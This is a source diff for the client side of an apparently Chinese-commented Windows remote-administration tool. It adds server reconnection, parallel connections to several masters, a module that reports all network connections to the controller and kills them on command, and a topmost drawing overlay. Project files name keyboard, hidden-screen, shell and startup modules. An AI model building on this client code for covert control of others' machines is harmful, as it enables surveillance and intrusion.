if (S_SERVER_EXIT == g_MyApp.g_bExit)
return true;
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
}
@@ -459,14 +467,12 @@ extern "C" __declspec(dllexport) int EasyRun()
do {
TestRun((char*)settings.ServerIP(), settings.ServerPort());
if (S_SERVER_EXIT == app.g_bExit)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
while (!IsStoped())
Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: 程序更新
break;
break;
} while (true);
return app.g_bExit;
@@ -552,14 +558,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
if (bExit == S_SERVER_EXIT)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
while (!IsStoped())
Sleep(20);
if (bExit == S_CLIENT_EXIT)
return;
else if (bExit == S_SERVER_EXIT)
continue;
else // S_CLIENT_UPDATE
break;
break; // S_CLIENT_UPDATE
} while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
@@ -588,6 +594,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
@@ -595,16 +602,26 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now));
}
}
auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
// 让主实例始终指向域名解析出的第一个 IP。
static bool parallelHasRun = false;
if (!parallelHasRun) {
parallelHasRun = true;
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
}
}
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
@@ -615,7 +632,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
}
+1 -1
View File
@@ -130,7 +130,7 @@ public:
}
};
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
// 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam);
+28
View File
@@ -178,13 +178,22 @@
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
@@ -214,6 +223,9 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
@@ -225,15 +237,24 @@
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
@@ -244,6 +265,7 @@
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
@@ -266,6 +288,12 @@
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
+28
View File
@@ -41,10 +41,21 @@
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
@@ -59,6 +70,7 @@
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
@@ -97,6 +109,22 @@
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="TlsChannel.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
+36
View File
@@ -4,13 +4,19 @@
#include "Manager.h"
#include "ScreenManager.h"
#include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
#include "ShellManager.h"
#include "SystemManager.h"
#include "ConPTYManager.h"
#include "AudioManager.h"
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "ConnectionsManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
return LoopManager<CTalkManager, 0>(lParam);
}
DWORD WINAPI LoopChatManager(LPVOID lParam)
{
return LoopManager<CChatManager, 0>(lParam);
}
DWORD WINAPI LoopMachineManager(LPVOID lParam)
{
return LoopManager<CMachineManager, 0>(lParam);
}
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager<CServicesManager, 0>(lParam);
}
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
{
return LoopManager<CConnectionsManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
iniFile cfg(CLIENT_PATH);
+6
View File
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
+240
View File
@@ -0,0 +1,240 @@
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#if ENABLE_CONNECTION_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendConnectionList();
}
CConnectionsManager::~CConnectionsManager()
{
}
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
if (outLen <= 0) return;
out[0] = 0;
if (pid == 0) {
strcpy_s(out, outLen, "System Idle Process");
return;
}
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (h == NULL) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t wpath[MAX_PATH] = { 0 };
DWORD len = MAX_PATH;
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
CloseHandle(h);
if (!ok) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t* base = wcsrchr(wpath, L'\\');
base = base ? base + 1 : wpath;
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
strcpy_s(out, outLen, "<unknown>");
return;
}
out[outLen - 1] = 0;
}
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是把网络序地址直接放在 DWORD 的**内存**里,
// 不是主机序数值(192.168.0.55 在 x86 上 DWORD 数值是 0x3700A8C0、内存字节是 C0 A8 00 37)。
// 所以只能按内存拷贝:这样得到的正是 inet_ntop 需要的网络序字节,也能原样拼回 SetTcpEntry 的 DWORD。
// 按数值移位会把字节序弄反(显示成 55.0.168.192)。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
memcpy(out, &addrNet, 4);
}
static DWORD GetAddr4(const uint8_t* addr)
{
DWORD addrNet = 0;
memcpy(&addrNet, addr, 4);
return addrNet;
}
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
VOID CConnectionsManager::SendConnectionList()
{
std::vector<ConnectionInfo> rows;
AppendTcp4(rows);
AppendTcp6(rows);
AppendUdp4(rows);
AppendUdp6(rows);
size_t count = rows.size();
if (count > 0xFFFF) count = 0xFFFF;
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
if (szBuffer == NULL) return;
szBuffer[0] = TOKEN_CONNECTION_LIST;
uint16_t cnt = (uint16_t)count;
memcpy(szBuffer + 1, &cnt, 2);
for (size_t i = 0; i < count; ++i)
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
LocalFree(szBuffer);
}
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
if (info.proto != 1 || info.af != AF_INET) return;
MIB_TCPROW row = { 0 };
row.dwState = MIB_TCP_STATE_DELETE_TCB;
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
row.dwRemotePort = (DWORD)htons(info.remotePort);
SetTcpEntry(&row);
}
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_CONNECTION: // 刷新
SendConnectionList();
break;
case COMMAND_KILL_CONNECTION: // 强制断开
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
ConnectionInfo info;
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
KillConnection(info);
}
SendConnectionList();
break;
default:
break;
}
}
#endif
+29
View File
@@ -0,0 +1,29 @@
// ConnectionsManager.h: interface for the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager
{
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
